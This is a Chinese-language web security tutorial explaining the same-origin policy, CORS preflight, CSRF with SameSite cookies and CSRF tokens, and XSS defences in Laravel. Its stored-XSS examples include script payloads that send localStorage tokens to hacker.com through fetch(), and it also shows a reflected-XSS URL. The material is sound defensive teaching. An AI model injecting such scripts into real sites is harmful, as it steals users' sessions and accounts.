Lesson 13: 前後端分離的痛-CORS 跨域問題、 CSRF 防護機制與XSS跨腳本攻擊
前後端分離是近幾年非常熱門的架構概念,其實早在十多年前就已被提出。 在早期的實務中,前後端分離常搭配 SPA 與 CSR(Client-Side Rendering)實作,但在當時的搜尋引擎環境下,CSR 對 SEO 並不友善。
原因在於 CSR 的頁面在初始請求時只回傳空的 HTML 殼,實際內容與 meta 資訊需等 JavaScript 在瀏覽器端執行後才生成;而以前搜尋引擎爬蟲並不會執行 JavaScript(現在google有針對爬蟲做出調整,但執行時機、資源配額與錯誤容忍度仍不保證即時與完整),導致頁面內容無法被正確索引。
為了解決這個問題,SSR(Server-Side Rendering)或預渲染逐漸成為主流做法,透過在 Server 端直接產生完整 HTML,使搜尋引擎在第一次請求時就能取得頁面內容與 SEO 相關資訊。
雖然後來有了 SSR(Server-Side Rendering)與 Nuxt/Next.js 等解決方案,但在架構上,前端(Frontend)與後端(Backend)部署在不同網域(Domain)已成常態。
這時候,後端工程師會發現:明明 Postman 測都沒問題,為什麼前端一呼叫 API 就全紅字?
這是因為 Postman 不受瀏覽器同源政策限制,真正受到 CORS 約束的,只有瀏覽器本身。
這就是我們今天要解決的兩大門神:CORS 與 CSRF。
同源政策
在講 CORS 之前,必須先理解「同源政策」。
什麼是「同源」? 協議(Protocol)、網域(Domain)、埠號(Port)三者皆相同。
http://localhost:3000(前端) vshttp://localhost:8000(後端) -> 不同源 (Port 不同)https://api.example.comvshttps://www.example.com-> 不同源 (Subdomain 不同)
為什麼要擋? 為了防止惡意網站的 JavaScript 存取另一個來源的回應內容或敏感狀態。
CORS
CORS (Cross-Origin Resource Sharing):跨域資源共享
CORS 是一種機制,它允許瀏覽器向跨源伺服器,發出 XMLHttpRequest 或 Fetch 請求。簡單來說,就是後端發放「通行證」給前端。
重點觀念:
簡單請求 (Simple Request): 不會觸發 Preflight。條件嚴格(只能是 GET/HEAD/POST,且 Header 有限制)。
預檢請求 (Preflight Request): 這是新手最常困惑的「為什麼我的 API 被呼叫了兩次?」。
當請求包含自定義 Header(如
Authorization: Bearer ...)或方法是PUT、DELETE時。瀏覽器會先發送一個
OPTIONS方法的請求,詢問後端:「你允許我帶這些 Header 嗎?你允許這個 Domain 嗎?」後端回傳 HTTP 200 OK 且帶有允許的 Header 後,瀏覽器才會發送真正的 API 請求。
後端如何處理?
- 資安警語: 千萬不要為了方便在正式環境設定
Access-Control-Allow-Origin: *,這等於門戶大開。
CSRF
CORS 是為了防止「別人讀你的資料」,而 CSRF 是為了防止「別人用你的身份做事」。
CSRF 全名是 Cross-Site Request Forgery。
攻擊手法
你還沒登出銀行,接著手滑點開了一個惡意網站
evil.com。evil.com的頁面裡藏了一段程式碼 (例如一個隱藏的 Form 表單),自動向bank.com/transfer(轉帳 API) 發送一個 POST 請求。關鍵時刻來了:瀏覽器準備發送這個請求給
bank.com。瀏覽器檢查 Cookie 規則:這個請求的目標是
bank.com嗎? 是!瀏覽器檢查 Domain 設定:Cookie 的 Domain 是
bank.com嗎? 是!
結果:瀏覽器乖乖地把 Session Cookie 帶上了。
銀行 Server 收到請求,看到合法的 Session ID,以為是你本人操作的,於是轉帳成功。錢被盜走了。
問題點:Domain 屬性只檢查「目標」是不是銀行,它不管你這個請求是從「銀行首頁」按的,還是從「惡意網站」按的。只要目標對,它就給過。
小結
在傳統 MVC 時代(例如 Laravel Blade),我們很習慣在表單裡加 @csrf。但在前後端分離的架構下,情況變複雜了:
如果你的 API 使用
Authorization: Bearer <token>:通常存在 LocalStorage / SessionStorage。
結論: 在不使用 Cookie 的前提下,瀏覽器無法自動附帶 Token,因此不構成傳統意義上的 CSRF 攻擊面。因為瀏覽器不會自動把 LocalStorage 的東西帶進 Request Header,惡意網站拿不到你的 Token,也沒辦法讓瀏覽器幫你帶,但這也是會遇到XSS攻擊。
如果你的 API 使用
Cookie(HttpOnly) 來存 Token:很多為了防範 XSS 的架構會選擇把 Token 存在 HttpOnly Cookie。
結論: 必須防禦 CSRF。因為這又回到了瀏覽器自動帶 Cookie 的老問題。
防範手法
傳統防禦:CSRF Token (Synchronizer Token Pattern)
這是 Laravel Blade 預設的作法。
後端生成一個隨機字串(Token),放在 User 的 Session 中,並傳給前端(通常放在
<meta>或 Cookie)。前端發送請求(POST/PUT/DELETE)時,必須手動在 Header 或 Body 帶上這個 Token。
後端檢查:
Request 帶來的 Token==Session 裡的 Token?- 惡意網站雖然能發送請求(帶 Cookie),但它讀不到你網站的 Token,所以偽造的請求會因為缺少 Token 被後端拒絕。
B. 現代瀏覽器防禦:SameSite Cookie 屬性
還記得Lesson 9 提到的Cookie SameSite嗎?這是近年來最重要的更新,Google Chrome 預設已將 Cookie 的 SameSite 設為 Lax。這是在 Cookie 層級直接阻斷 CSRF。
| 屬性值 | 行為 | 適用場景 |
| Strict | 完全禁止跨站帶 Cookie。即使你從 A 站點擊連結到 B 站,B 站的 Cookie 也不會帶上。 | 銀行、極高安全性後台。但使用者體驗較差(點連結過去變成未登入)。 |
| Lax (預設) | 允許「導航到目標網址」(如 <a> 連結、window.location)帶 Cookie,但禁止像圖片加載、XHR/Fetch、Form POST 這種跨站請求帶 Cookie。 | 絕大多數的一般網站。能防禦大部分 CSRF。 |
| None | 舊時代行為,完全不擋。必須搭配 Secure (HTTPS) 才能設定。 | 需要跨網域追蹤或特殊架構(如 iframe 嵌入)時才用。 |
同樣的場景,但這次 Cookie 多了一個屬性:
session_id=12345Domain=bank.comSameSite=Strict(代表只有「在銀行網站內」的操作才能帶 Cookie)
攻擊流程:
你在
evil.com,惡意程式碼再次嘗試向bank.com/transfer發送請求。關鍵時刻來了:
瀏覽器檢查 Domain:目標是
bank.com,符合。瀏覽器檢查 SameSite:這個請求是從哪裡發起的?是
evil.com。瀏覽器判斷:
evil.com跟 Cookie 的擁有者bank.com不同站 (Cross-Site)。
結果:因為
SameSite=Strict,瀏覽器拒絕攜帶這個 Cookie。銀行 Server 收到一個「沒有 Cookie」的請求,判定未登入,拒絕轉帳。
Cookie:是大樓的 「門禁卡」。
Domain (bank.com):這張卡設定成 「只能刷銀行大樓的門」 (去刷旁邊超商的門沒反應)。
沒有 SameSite:歹徒在路邊拿刀抵著你 (惡意網站),強迫你去刷銀行大樓的門。因為卡片是對的、門也是對的,門就開了。歹徒得逞。
有 SameSite:門禁系統升級,它不只看卡片,還看 「你從哪裡走過來的」。如果系統發現你是從「歹徒巢穴 (evil.com)」直接衝過來刷卡的,系統就會鎖死不讓你刷。你必須是從「銀行大廳 (同站)」走過來的才有效
關於XSS
Cross-Site Scripting(為了不跟 CSS 搞混,所以縮寫叫 XSS)。 駭客把「惡意的 JavaScript 程式碼」當作「一般文字內容」塞進你的網頁,當其他使用者瀏覽該頁面時,這段程式碼就會在使用者的瀏覽器上執行。 這是「信任」的問題。瀏覽器太信任伺服器回傳的內容,以為那只是普通的文字,殊不知裡面藏了刀。
這是最容易理解的 儲存型 XSS (Stored XSS) 案例:
駭客留言: 駭客在你的文章下留言,內容不是「好棒棒」,而是:HTML
<script> // 把使用者的 localstorage 傳送到駭客的伺服器 fetch('<https://hacker.com/steal?token=>' + localStorage.getItem('access_token')); </script>後端儲存: 如果後端(Rookie 工程師)沒有做任何清洗,直接把這串字存進資料庫。
受害者瀏覽: 當一般使用者(甚至管理者)打開這篇文章時,後端把資料庫的內容原封不動吐給前端顯示。
腳本執行: 受害者的瀏覽器讀到
<script>標籤,立刻執行。受害者的 身份資料 瞬間被傳送給駭客。帳號被盜: 駭客拿到 Session ID 或 Token,直接複製貼上,登入受害者帳號。
XSS 的兩大分類
| 類型 | 儲存型 (Stored) | 反射型 (Reflected) |
| 原理 | 惡意腳本被存入資料庫,永久有效。 | 惡意腳本藏在 URL 參數中,騙你點擊。 |
| 範例 | 留言板、個人自我介紹、論壇貼文。 | 搜尋結果頁:search.php?q=<script>alert(1)</script> |
| 危害 | 極大。所有瀏覽該頁面的人都會中招。 | 針對性。只有點擊該惡意連結的人會中招。 |
後端如何防禦
輸出編碼 (Output Encoding / Escaping)
永遠假設資料庫裡的資料是髒的。在輸出到 HTML 之前,把特殊符號轉義。
<變成<>變成>"變成"
Laravel 的做法:
安全: 使用
{{ $message }}。Laravel 的 Blade 引擎會自動呼叫htmlspecialchars函式進行轉義。瀏覽器會把<script>當作純文字顯示,而不會執行。危險: 使用
{!! $message !!}。這告訴 Laravel:「我知道我在幹嘛,請直接輸出 HTML」。除非你確定內容絕對安全,否則嚴禁使用。
輸入過濾 (Input Sanitization)
如果你真的允許使用者輸入 HTML(例如使用 CKEditor),你就不能全擋。這時需要用白名單機制過濾。
- 工具: 使用如 HTMLPurifier 這樣的套件,只允許
<b>,<p>,<img>等安全標籤,把<script>,<iframe>,onclick屬性全部洗掉。
補充
Token 儲存位置的 - LocalStorage vs HttpOnly Cookie
核心觀念對照表
攻擊情境演練

情境 A:存在 LocalStorage (怕 XSS)
攻擊方式: 駭客在你的網站留言版寫了一段
<script>fetch('<http://hacker.com?token='+localStorage.getItem('token>'))</script>。結果: 當其他使用者瀏覽到這則留言,腳本執行,Token 直接被傳送到駭客伺服器。駭客拿到 Token 後,可以隨時隨地偽裝成該使用者,直到 Token 過期。
情境 B:存在 HttpOnly Cookie (怕 CSRF)
攻擊方式: 同樣的 XSS 攻擊腳本。
結果: 腳本執行
document.cookie,但因為有HttpOnly標籤,JavaScript 讀不到 Token,回傳空值。駭客偷不到 Token。

